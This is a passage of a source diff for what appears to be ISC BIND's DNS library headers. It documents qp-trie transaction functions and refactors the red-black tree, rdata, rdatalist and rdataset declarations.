+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qpr != NULL`
+ *
+ * Returns:
+ * \li  `qpr` is a valid read-only qp-trie handle
+ */
+
+void
+dns_qpmulti_lockedread(dns_qpmulti_t *multi, dns_qpread_t *qpr);
+/*%<
+ * Start a read-only transaction that takes the `dns_qpmulti_t` mutex.
+ *
+ * The `dns_qpmulti_lockedread()` function must NOT be called from an
+ * isc_loop thread. We keep query and read transactions separate to
+ * avoid accidentally taking or failing to take the mutex.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qpr != NULL`
+ *
+ * Returns:
+ * \li  `qpr` is a valid read-only qp-trie handle
+ */
+
+void
+dns_qpread_destroy(dns_qpmulti_t *multi, dns_qpread_t *qpr);
+/*%<
+ * End a lightweight query or read transaction.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qpr` is a read-only qp-trie handle obtained from `multi`
+ *
+ * Returns:
+ * \li  `qpr` is invalidated
+ */
+
+void
+dns_qpmulti_snapshot(dns_qpmulti_t *multi, dns_qpsnap_t **qpsp);
+/*%<
+ * Start a heavyweight (long) read-only transaction
+ *
+ * This function briefly takes and releases the modification mutex
+ * while allocating a copy of the trie's metadata. While the snapshot
+ * exists it does not interfere with other read-only or read-write
+ * transactions on the trie.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qpsp != NULL`
+ * \li  `*qpsp == NULL`
+ *
+ * Returns:
+ * \li  `*qpsp` is a pointer to a snapshot obtained from `multi`
+ */
+
+void
+dns_qpsnap_destroy(dns_qpmulti_t *multi, dns_qpsnap_t **qpsp);
+/*%<
+ * End a heavyweight read transaction
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qpsp != NULL`
+ * \li  `*qpsp` is a pointer to a snapshot obtained from `multi`
+ *
+ * Returns:
+ * \li  `*qpsp == NULL`
+ */
+
+void
+dns_qpmulti_update(dns_qpmulti_t *multi, dns_qp_t **qptp);
+/*%<
+ * Start a heavyweight write transaction
+ *
+ * This style of transaction allocates a copy of the trie's metadata to
+ * support rollback, and it aims to minimize the memory usage of the
+ * trie between transactions. The trie is compacted when the transaction
+ * commits, and any partly-used chunk is shrunk to fit.
+ *
+ * During the transaction, the modification mutex is held.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qptp != NULL`
+ * \li  `*qptp == NULL`
+ *
+ * Returns:
+ * \li  `*qptp` is a pointer to the modifiable qp-trie inside `multi`
+ */
+
+void
+dns_qpmulti_write(dns_qpmulti_t *multi, dns_qp_t **qptp);
+/*%<
+ * Start a lightweight write transaction
+ *
+ * This style of transaction does not need extra allocations in addition
+ * to the ones required by insert and delete operations. It is intended
+ * for a large trie that gets frequent small writes, such as a DNS
+ * cache.
+ *
+ * A sequence of lightweight write transactions can accumulate
+ * garbage that the automatic compact/recycle cannot reclaim.
+ * To reclaim this space, you can use the `dns_qp_memusage
+ * fragmented` flag to trigger a call to dns_qp_compact(), or you
+ * can use occasional update transactions to compact the trie.
+ *
+ * During the transaction, the modification mutex is held.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qptp != NULL`
+ * \li  `*qptp == NULL`
+ *
+ * Returns:
+ * \li  `*qptp` is a pointer to the modifiable qp-trie inside `multi`
+ */
+
+void
+dns_qpmulti_commit(dns_qpmulti_t *multi, dns_qp_t **qptp);
+/*%<
+ * Complete a modification transaction
+ *
+ * Apart from memory management logistics, the commit itself only
+ * requires flipping the read pointer inside `multi` from the old
+ * version of the trie to the new version. Readers are not blocked.
+ *
+ * This function releases the modification mutex after the post-commit
+ * memory reclamation is completed.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qptp != NULL`
+ * \li  `*qptp` is a pointer to the modifiable qp-trie inside `multi`
+ *
+ * Returns:
+ * \li  `*qptp == NULL`
+ */
+
+void
+dns_qpmulti_rollback(dns_qpmulti_t *multi, dns_qp_t **qptp);
+/*%<
+ * Abandon an update transaction
+ *
+ * This function reclaims the memory allocated during the transaction
+ * and releases the modification mutex.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid multi-threaded qp-trie
+ * \li  `qptp != NULL`
+ * \li  `*qptp` is a pointer to the modifiable qp-trie inside `multi`
+ * \li  `*qptp` was obtained from `dns_qpmulti_update()`
+ *
+ * Returns:
+ * \li  `*qptp == NULL`
+ */
+
+/**********************************************************************/
diff --git a/lib/dns/include/dns/rbt.h b/lib/dns/include/dns/rbt.h
index 367d72b9ff..08b4803ab9 100644
--- a/lib/dns/include/dns/rbt.h
+++ b/lib/dns/include/dns/rbt.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RBT_H
-#define DNS_RBT_H 1
+#pragma once
 
 /*! \file dns/rbt.h */
 
@@ -56,7 +57,6 @@ ISC_LANG_BEGINDECLS
  * appended to this structure.  Allocating a contiguous block of memory for
  * multiple dns_rbtnode structures will not work.
  */
-typedef struct dns_rbtnode dns_rbtnode_t;
 enum {
 	DNS_RBT_NSEC_NORMAL = 0,   /* in main tree */
 	DNS_RBT_NSEC_HAS_NSEC = 1, /* also has node in nsec tree */
@@ -70,9 +70,7 @@ struct dns_rbtnode {
 	/*@{*/
 	/*!
 	 * The following bitfields add up to a total bitwidth of 32.
-	 * The range of values necessary for each item is indicated,
-	 * but in the case of "attributes" the field is wider to accommodate
-	 * possible future expansion.
+	 * The range of values necessary for each item is indicated.
 	 *
 	 * In each case below the "range" indicated is what's _necessary_ for
 	 * the bitfield to hold, not what it actually _can_ hold.
@@ -91,32 +89,14 @@ struct dns_rbtnode {
 	unsigned int is_root	   : 1; /*%< range is 0..1 */
 	unsigned int color	   : 1; /*%< range is 0..1 */
 	unsigned int find_callback : 1; /*%< range is 0..1 */
-	unsigned int attributes	   : 3; /*%< range is 0..2 */
+	bool	     absolute	   : 1; /*%< node with absolute DNS name */
 	unsigned int nsec	   : 2; /*%< range is 0..3 */
 	unsigned int namelen	   : 8; /*%< range is 1..255 */
 	unsigned int offsetlen	   : 8; /*%< range is 1..128 */
 	unsigned int oldnamelen	   : 8; /*%< range is 1..255 */
+	unsigned int		   : 0; /* end of bitfields c/o tree lock */
 	/*@}*/
 
-	/* flags needed for serialization to file */
-	unsigned int is_mmapped		: 1;
-	unsigned int parent_is_relative : 1;
-	unsigned int left_is_relative	: 1;
-	unsigned int right_is_relative	: 1;
-	unsigned int down_is_relative	: 1;
-	unsigned int data_is_relative	: 1;
-
-	/*
-	 * full name length; set during serialization, and used
-	 * during deserialization to calculate database size.
-	 * should be cleared after use.
-	 */
-	unsigned int fullnamelen : 8; /*%< range is 1..255 */
-
-	/* node needs to be cleaned from rpz */
-	unsigned int rpz : 1;
-	unsigned int	 : 0; /* end of bitfields c/o tree lock */
-
 	/*%
 	 * These are needed for hashing. The 'uppernode' points to the
 	 * node's superdomain node in the parent subtree, so that it can
@@ -166,9 +146,9 @@ struct dns_rbtnode {
 	/*@}*/
 };
 
-typedef isc_result_t (*dns_rbtfindcallback_t)(dns_rbtnode_t *node,
-					      dns_name_t *   name,
-					      void *	     callback_arg);
+typedef isc_result_t (*dns_rbtfindcallback_t)(dns_rbtnode_t	*node,
+					      dns_name_t	*name,
+					      void *callback_arg DNS__DB_FLARG);
 
 typedef isc_result_t (*dns_rbtdatawriter_t)(FILE *file, unsigned char *data,
 					    void *arg, uint64_t *crc);
@@ -230,15 +210,13 @@ typedef void (*dns_rbtdeleter_t)(void *, void *);
  */
 
 /*%
- * The number of level blocks to allocate at a time.  Currently the maximum
- * number of levels is allocated directly in the structure, but future
- * revisions of this code might have a static initial block with dynamic
- * growth.  Allocating space for 256 levels when the tree is almost never that
- * deep is wasteful, but it's not clear that it matters, since the waste is
- * only 2MB for 1000 concurrently active chains on a system with 64-bit
- * pointers.
+ * The number of level blocks to allocate at a time, same as the maximum
+ * number of labels. Allocating space for 128 levels when the tree is
+ * almost never that deep is wasteful, but it's not clear that it matters,
+ * since the waste is only 1MB for 1000 concurrently active chains on a
+ * system with 64-bit pointers.
  */
-#define DNS_RBT_LEVELBLOCK 254
+#define DNS_RBT_LEVELBLOCK 127
 
 typedef struct dns_rbtnodechain {
 	unsigned int magic;
@@ -250,12 +228,9 @@ typedef struct dns_rbtnodechain {
 	 */
 	dns_rbtnode_t *end;
 	/*%
-	 * The maximum number of labels in a name is 128; bitstrings mean
-	 * a conceptually very large number (which I have not bothered to
-	 * compute) of logical levels because splitting can potentially occur
-	 * at each bit.  However, DNSSEC restricts the number of "logical"
-	 * labels in a name to 255, meaning only 254 pointers are needed
-	 * in the worst case.
+	 * Currently the maximum number of levels is allocated directly in
+	 * the structure, but future revisions of this code might have a
+	 * static initial block with dynamic growth.
 	 */
 	dns_rbtnode_t *levels[DNS_RBT_LEVELBLOCK];
 	/*%
@@ -384,9 +359,11 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep);
  *\li   #ISC_R_NOMEMORY Resource Limit: Out of Memory
  */
 
+#define dns_rbt_findname(rbt, name, options, foundname, data) \
+	dns__rbt_findname(rbt, name, options, foundname, data DNS__DB_FILELINE)
 isc_result_t
-dns_rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
-		 dns_name_t *foundname, void **data);
+dns__rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
+		  dns_name_t *foundname, void **data DNS__DB_FLARG);
 /*%<
  * Get the data pointer associated with 'name'.
  *
@@ -423,11 +400,16 @@ dns_rbt_findname(dns_rbt_t *rbt, const dns_name_t *name, unsigned int options,
  *\li   #ISC_R_NOSPACE          Concatenating nodes to form foundname failed
  */
 
+#define dns_rbt_findnode(rbt, name, foundname, node, chain, options, callback, \
+			 callback_arg)                                         \
+	dns__rbt_findnode(rbt, name, foundname, node, chain, options,          \
+			  callback, callback_arg DNS__DB_FILELINE)
+
 isc_result_t
-dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
-		 dns_rbtnode_t **node, dns_rbtnodechain_t *chain,
-		 unsigned int options, dns_rbtfindcallback_t callback,
-		 void *callback_arg);
+dns__rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
+		  dns_rbtnode_t **node, dns_rbtnodechain_t *chain,
+		  unsigned int options, dns_rbtfindcallback_t callback,
+		  void *callback_arg DNS__DB_FLARG);
 /*%<
  * Find the node for 'name'.
  *
@@ -528,8 +510,11 @@ dns_rbt_findnode(dns_rbt_t *rbt, const dns_name_t *name, dns_name_t *foundname,
  *\li   #ISC_R_NOSPACE Concatenating nodes to form foundname failed
  */
 
+#define dns_rbt_deletename(rbt, name, recurse) \
+	dns__rbt_deletename(rbt, name, recurse DNS__DB_FILELINE)
 isc_result_t
-dns_rbt_deletename(dns_rbt_t *rbt, const dns_name_t *name, bool recurse);
+dns__rbt_deletename(dns_rbt_t *rbt, const dns_name_t *name,
+		    bool recurse DNS__DB_FLARG);
 /*%<
  * Delete 'name' from the tree of trees.
  *
@@ -622,7 +607,7 @@ dns_rbt_namefromnode(dns_rbtnode_t *node, dns_name_t *name);
  * \li  name->offsets == NULL
  *
  * Ensures:
- * \li  'name' is DNS_NAMEATTR_READONLY.
+ * \li  'name' is readonly.
  *
  * \li  'name' will point directly to the labels stored after the
  *      dns_rbtnode_t struct.
@@ -685,17 +670,6 @@ dns_rbt_hashsize(dns_rbt_t *rbt);
  * \li  rbt is a valid rbt manager.
  */
 
-isc_result_t
-dns_rbt_adjusthashsize(dns_rbt_t *rbt, size_t size);
-/*%<
- * Adjust the number of buckets in the 'rbt' hash table, according to the
- * expected maximum size of the rbt database.
- *
- * Requires:
- * \li  rbt is a valid rbt manager.
- * \li  size is expected maximum memory footprint of rbt.
- */
-
 void
 dns_rbt_destroy(dns_rbt_t **rbtp);
 isc_result_t
@@ -722,45 +696,9 @@ dns_rbt_destroy2(dns_rbt_t **rbtp, unsigned int quantum);
  * \li  ISC_R_QUOTA if 'quantum' nodes have been destroyed.
  */
 
-off_t
-dns_rbt_serialize_align(off_t target);
-/*%<
- * Align the provided integer to a pointer-size boundary.
- * This should be used if, during serialization of data to a will-be
- * mmap()ed file, a pointer alignment is needed for some data.
- */
-
-isc_result_t
-dns_rbt_serialize_tree(FILE *file, dns_rbt_t *rbt,
-		       dns_rbtdatawriter_t datawriter, void *writer_arg,
-		       off_t *offset);
-/*%<
- * Write out the RBT structure and its data to a file.
- *
- * Notes:
- * \li  The file must be an actual file which allows seek() calls, so it cannot
- *      be a stream.  Returns ISC_R_INVALIDFILE if not.
- */
-
-isc_result_t
-dns_rbt_deserialize_tree(void *base_address, size_t filesize,
-			 off_t header_offset, isc_mem_t *mctx,
-			 dns_rbtdeleter_t deleter, void *deleter_arg,
-			 dns_rbtdatafixer_t datafixer, void *fixer_arg,
-			 dns_rbtnode_t **originp, dns_rbt_t **rbtp);
-/*%<
- * Read a RBT structure and its data from a file.
- *
- * If 'originp' is not NULL, then it is pointed to the root node of the RBT.
- *
- * Notes:
- * \li  The file must be an actual file which allows seek() calls, so it cannot
- *      be a stream.  This condition is not checked in the code.
- */
-
 void
 dns_rbt_printtext(dns_rbt_t *rbt, void (*data_printer)(FILE *, void *),
-		  FILE *     f);
+		  FILE	    *f);
 /*%<
  * Print an ASCII representation of the internal structure of the red-black
  * tree of trees to the passed stream.
@@ -1054,5 +992,3 @@ dns__rbtnode_namelen(dns_rbtnode_t *node);
  * and in unit tests.
  */
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RBT_H */
diff --git a/lib/dns/include/dns/rcode.h b/lib/dns/include/dns/rcode.h
index 93f3ed339d..2c496ee8f3 100644
--- a/lib/dns/include/dns/rcode.h
+++ b/lib/dns/include/dns/rcode.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RCODE_H
-#define DNS_RCODE_H 1
+#pragma once
 
 /*! \file dns/rcode.h */
 
@@ -104,5 +105,3 @@ dns_hashalg_fromtext(unsigned char *hashalg, isc_textregion_t *source);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RCODE_H */
diff --git a/lib/dns/include/dns/rdata.h b/lib/dns/include/dns/rdata.h
index 9221c8951a..36f79c8edd 100644
--- a/lib/dns/include/dns/rdata.h
+++ b/lib/dns/include/dns/rdata.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATA_H
-#define DNS_RDATA_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -108,7 +109,7 @@ ISC_LANG_BEGINDECLS
  * purpose the client desires.
  */
 struct dns_rdata {
-	unsigned char *	 data;
+	unsigned char	*data;
 	unsigned int	 length;
 	dns_rdataclass_t rdclass;
 	dns_rdatatype_t	 type;
@@ -280,18 +281,13 @@ dns_rdata_toregion(const dns_rdata_t *rdata, isc_region_t *r);
 isc_result_t
 dns_rdata_fromwire(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
 		   dns_rdatatype_t type, isc_buffer_t *source,
-		   dns_decompress_t *dctx, unsigned int options,
-		   isc_buffer_t *target);
+		   dns_decompress_t dctx, isc_buffer_t *target);
 /*%<
  * Copy the possibly-compressed rdata at source into the target region.
  *
  * Notes:
  *\li	Name decompression policy is controlled by 'dctx'.
  *
- *	'options'
- *\li	DNS_RDATA_DOWNCASE	downcase domain names when they are copied
- *				into target.
- *
  * Requires:
  *
  *\li	'rdclass' and 'type' are valid.
@@ -327,16 +323,14 @@ dns_rdata_towire(dns_rdata_t *rdata, dns_compress_t *cctx,
  * compression context 'cctx', and storing the result in 'target'.
  *
  * Notes:
- *\li	If the compression context allows global compression, then the
- *	global compression table may be updated.
+ *\li	If compression is permitted, then the cctx table may be updated.
  *
  * Requires:
  *\li	'rdata' is a valid, non-empty rdata
  *
  *\li	target is a valid buffer
  *
- *\li	Any offsets specified in a global compression table are valid
- *	for target.
+ *\li	Any offsets in the compression table are valid for target.
  *
  * Ensures,
  *	if the result is success:
@@ -516,13 +510,13 @@ dns_rdata_tostruct(const dns_rdata_t *rdata, void *target, isc_mem_t *mctx);
  *
  * Requires:
  *
- *\li	'rdata' is a valid, non-empty rdata.
+ *\li	'rdata' is a valid, non-empty, non-pseudo rdata.
  *
  *\li	'target' to point to a valid pointer for the type and class.
  *
  * Result:
  *\li	Success
- *\li	Resource Limit: Not enough memory
+ *\li	Not Implemented
  */
 
 void
@@ -571,6 +565,13 @@ dns_rdatatype_isdnssec(dns_rdatatype_t type);
  * \li	'type' is a valid rdata type.
  */
 
+bool
+dns_rdatatype_iskeymaterial(dns_rdatatype_t type);
+/*%<
+ * Return true iff the rdata type 'type' is a DNSSEC key
+ * related type, like DNSKEY, CDNSKEY, or CDS.
+ */
+
 bool
 dns_rdatatype_iszonecutauth(dns_rdatatype_t type);
 /*%<
@@ -594,8 +595,8 @@ dns_rdatatype_isknown(dns_rdatatype_t type);
  */
 
 isc_result_t
-dns_rdata_additionaldata(dns_rdata_t *rdata, dns_additionaldatafunc_t add,
-			 void *arg);
+dns_rdata_additionaldata(dns_rdata_t *rdata, const dns_name_t *owner,
+			 dns_additionaldatafunc_t add, void *arg);
 /*%<
  * Call 'add' for each name and type from 'rdata' which is subject to
  * additional section processing.
@@ -695,6 +696,21 @@ dns_rdatatype_atcname(dns_rdatatype_t type);
  *
  */
 
+bool
+dns_rdatatype_followadditional(dns_rdatatype_t type);
+/*%<
+ * Return true if adding a record of type 'type' to the ADDITIONAL section
+ * of a message can itself trigger the addition of still more data to the
+ * additional section.
+ *
+ * (For example: adding SRV to the ADDITIONAL section may trigger
+ * the addition of address records associated with that SRV.)
+ *
+ * Requires:
+ * \li	'type' is a valid rdata type.
+ *
+ */
+
 unsigned int
 dns_rdatatype_attributes(dns_rdatatype_t rdtype);
 /*%<
@@ -729,6 +745,8 @@ dns_rdatatype_attributes(dns_rdatatype_t rdtype);
 #define DNS_RDATATYPEATTR_ATPARENT 0x00000200U
 /*% Can exist along side a CNAME */
 #define DNS_RDATATYPEATTR_ATCNAME 0x00000400U
+/*% Follow additional */
+#define DNS_RDATATYPEATTR_FOLLOWADDITIONAL 0x00000800U
 
 dns_rdatatype_t
 dns_rdata_covers(dns_rdata_t *rdata);
@@ -788,6 +806,20 @@ dns_rdata_makedelete(dns_rdata_t *rdata);
 const char *
 dns_rdata_updateop(dns_rdata_t *rdata, dns_section_t section);
 
-ISC_LANG_ENDDECLS
+isc_result_t
+dns_rdata_checksvcb(const dns_name_t *owner, const dns_rdata_t *rdata);
+/*%<
+ * Checks that 'rdata' contains a valid SVCB record.
+ *
+ * Requires:
+ *\li	'owner' is a valid name.
+ *\li	'rdata' is a valid, non-empty SVCB rdata.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS		-- success, the data is valid
+ *\li	#DNS_R_HAVEPARMKEYS	-- alias mode record, but SvcParamKeys is found
+ *\li	#DNS_R_NOALPN		-- ALPN required for 'owner', but not found
+ *\li	#DNS_R_NODOHPATH	-- DOHPATH required for 'owner', but not found
+ */
 
-#endif /* DNS_RDATA_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/rdataclass.h b/lib/dns/include/dns/rdataclass.h
index 254d9dd5cb..466c4a3fcc 100644
--- a/lib/dns/include/dns/rdataclass.h
+++ b/lib/dns/include/dns/rdataclass.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATACLASS_H
-#define DNS_RDATACLASS_H 1
+#pragma once
 
 /*! \file dns/rdataclass.h */
 
@@ -88,5 +89,3 @@ dns_rdataclass_format(dns_rdataclass_t rdclass, char *array, unsigned int size);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATACLASS_H */
diff --git a/lib/dns/include/dns/rdatalist.h b/lib/dns/include/dns/rdatalist.h
index 3266754d4c..6e564b635e 100644
--- a/lib/dns/include/dns/rdatalist.h
+++ b/lib/dns/include/dns/rdatalist.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATALIST_H
-#define DNS_RDATALIST_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -70,7 +71,7 @@ dns_rdatalist_init(dns_rdatalist_t *rdatalist);
  *	values.
  */
 
-isc_result_t
+void
 dns_rdatalist_tordataset(dns_rdatalist_t *rdatalist, dns_rdataset_t *rdataset);
 /*%<
  * Make 'rdataset' refer to the rdata in 'rdatalist'.
@@ -90,13 +91,10 @@ dns_rdatalist_tordataset(dns_rdatalist_t *rdatalist, dns_rdataset_t *rdataset);
  *	on success,
  *
  *\li		'rdataset' is associated with the rdata in rdatalist.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
  */
 
-isc_result_t
-dns_rdatalist_fromrdataset(dns_rdataset_t *  rdataset,
+void
+dns_rdatalist_fromrdataset(dns_rdataset_t   *rdataset,
 			   dns_rdatalist_t **rdatalist);
 /*%<
  * Point 'rdatalist' to the rdatalist in 'rdataset'.
@@ -111,11 +109,47 @@ dns_rdatalist_fromrdataset(dns_rdataset_t *  rdataset,
  *	on success,
  *
  *\li		'rdatalist' is pointed to the rdatalist in rdataset.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
  */
 
-ISC_LANG_ENDDECLS
+void
+dns_rdatalist_disassociate(dns_rdataset_t *rdatasetp DNS__DB_FLARG);
+
+isc_result_t
+dns_rdatalist_first(dns_rdataset_t *rdataset);
+
+isc_result_t
+dns_rdatalist_next(dns_rdataset_t *rdataset);
+
+void
+dns_rdatalist_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
 
-#endif /* DNS_RDATALIST_H */
+void
+dns_rdatalist_clone(dns_rdataset_t	  *source,
+		    dns_rdataset_t *target DNS__DB_FLARG);
+
+unsigned int
+dns_rdatalist_count(dns_rdataset_t *rdataset);
+
+isc_result_t
+dns_rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name);
+
+isc_result_t
+dns_rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t	       *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG);
+
+isc_result_t
+dns_rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name);
+
+isc_result_t
+dns_rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t	       *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG);
+
+void
+dns_rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name);
+
+void
+dns_rdatalist_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name);
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/rdataset.h b/lib/dns/include/dns/rdataset.h
index 2569e40d23..8216164100 100644
--- a/lib/dns/include/dns/rdataset.h
+++ b/lib/dns/include/dns/rdataset.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATASET_H
-#define DNS_RDATASET_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -53,6 +54,18 @@
 #include <dns/rdatastruct.h>
 #include <dns/types.h>
 
+/* Fixed RRSet helper macros */
+
+#define DNS_RDATASET_LENGTH 2;
+
+#if DNS_RDATASET_FIXED
+#define DNS_RDATASET_ORDER 2
+#define DNS_RDATASET_COUNT (count * 4)
+#else /* !DNS_RDATASET_FIXED */
+#define DNS_RDATASET_ORDER 0
+#define DNS_RDATASET_COUNT 0
+#endif /* DNS_RDATASET_FIXED */
+
 ISC_LANG_BEGINDECLS
 
 typedef enum {
@@ -62,26 +75,29 @@ typedef enum {
 } dns_rdatasetadditional_t;
 
 typedef struct dns_rdatasetmethods {
-	void (*disassociate)(dns_rdataset_t *rdataset);
+	void (*disassociate)(dns_rdataset_t *rdataset DNS__DB_FLARG);
 	isc_result_t (*first)(dns_rdataset_t *rdataset);
 	isc_result_t (*next)(dns_rdataset_t *rdataset);
 	void (*current)(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
-	void (*clone)(dns_rdataset_t *source, dns_rdataset_t *target);
+	void (*clone)(dns_rdataset_t	    *source,
+		      dns_rdataset_t *target DNS__DB_FLARG);
 	unsigned int (*count)(dns_rdataset_t *rdataset);
-	isc_result_t (*addnoqname)(dns_rdataset_t *  rdataset,
+	isc_result_t (*addnoqname)(dns_rdataset_t   *rdataset,
 				   const dns_name_t *name);
 	isc_result_t (*getnoqname)(dns_rdataset_t *rdataset, dns_name_t *name,
-				   dns_rdataset_t *neg, dns_rdataset_t *negsig);
-	isc_result_t (*addclosest)(dns_rdataset_t *  rdataset,
+				   dns_rdataset_t	 *neg,
+				   dns_rdataset_t *negsig DNS__DB_FLARG);
+	isc_result_t (*addclosest)(dns_rdataset_t   *rdataset,
 				   const dns_name_t *name);
 	isc_result_t (*getclosest)(dns_rdataset_t *rdataset, dns_name_t *name,
-				   dns_rdataset_t *neg, dns_rdataset_t *negsig);
+				   dns_rdataset_t	 *neg,
+				   dns_rdataset_t *negsig DNS__DB_FLARG);
 	void (*settrust)(dns_rdataset_t *rdataset, dns_trust_t trust);
-	void (*expire)(dns_rdataset_t *rdataset);
+	void (*expire)(dns_rdataset_t *rdataset DNS__DB_FLARG);
 	void (*clearprefetch)(dns_rdataset_t *rdataset);
 	void (*setownercase)(dns_rdataset_t *rdataset, const dns_name_t *name);
 	void (*getownercase)(const dns_rdataset_t *rdataset, dns_name_t *name);
-	isc_result_t (*addglue)(dns_rdataset_t * rdataset,
+	isc_result_t (*addglue)(dns_rdataset_t	*rdataset,
 				dns_dbversion_t *version, dns_message_t *msg);
 } dns_rdatasetmethods_t;
 
@@ -130,21 +146,89 @@ struct dns_rdataset {
 	 */
 	isc_stdtime_t resign;
 
-	/*@{*/
 	/*%
-	 * These are for use by the rdataset implementation, and MUST NOT
-	 * be changed by clients.
+	 * Extra fields used by various rdataset implementations, that is, by
+	 * the code referred to in the rdataset methods table. The names of
+	 * the structures roughly correspond to the file containing the
+	 * implementation, except that `rdlist` is used by `rdatalist.c`,
+	 * `sdb.c`, and `sdlz.c`.
+	 *
+	 * Pointers in these structs use incomplete structure types,
+	 * because the structure definitions and corresponding typedef
+	 * names might not be in scope in this header.
 	 */
-	void *	     private1;
-	void *	     private2;
-	void *	     private3;
-	unsigned int privateuint4;
-	void *	     private5;
-	const void * private6;
-	const void * private7;
 	/*@}*/
+	union {
+		struct {
+			struct dns_keynode *node;
+			dns_rdata_t	   *iter;
+		} keytable;
+
+		/*
+		 * An ncache rdataset is a view of memory held elsewhere:
+		 * raw can point to either a buffer on the stack or to an
+		 * rdataslab, such as in an rbtdb database.
+		 */
+		struct {
+			unsigned char *raw;
+			unsigned char *iter_pos;
+			unsigned int   iter_count;
+		} ncache;
+
+		/*
+		 * A slab rdataset provides access to an rdataslab. In
+		 * an rbtdb database, 'raw' will generally point to the
+		 * memory immediately following a slabheader. (There
+		 * is an exception in the case of rdatasets returned by
+		 * the `getnoqname` and `getclosest` methods; see
+		 * comments in rbtdb.c for details.)
+		 */
+		struct {
+			struct dns_db *db;
+			dns_dbnode_t  *node;
+			unsigned char *raw;
+			unsigned char *iter_pos;
+			unsigned int   iter_count;
+			dns_proof_t   *noqname, *closest;
+		} slab;
+
+		/*
+		 * A simple rdatalist, plus an optional dbnode used by
+		 * builtin and sdlz.
+		 */
+		struct {
+			struct dns_rdatalist *list;
+			struct dns_rdata     *iter;
+
+			/*
+			 * These refer to names passed in by the caller of
+			 * dns_rdataset_addnoqname() and _addclosest()
+			 */
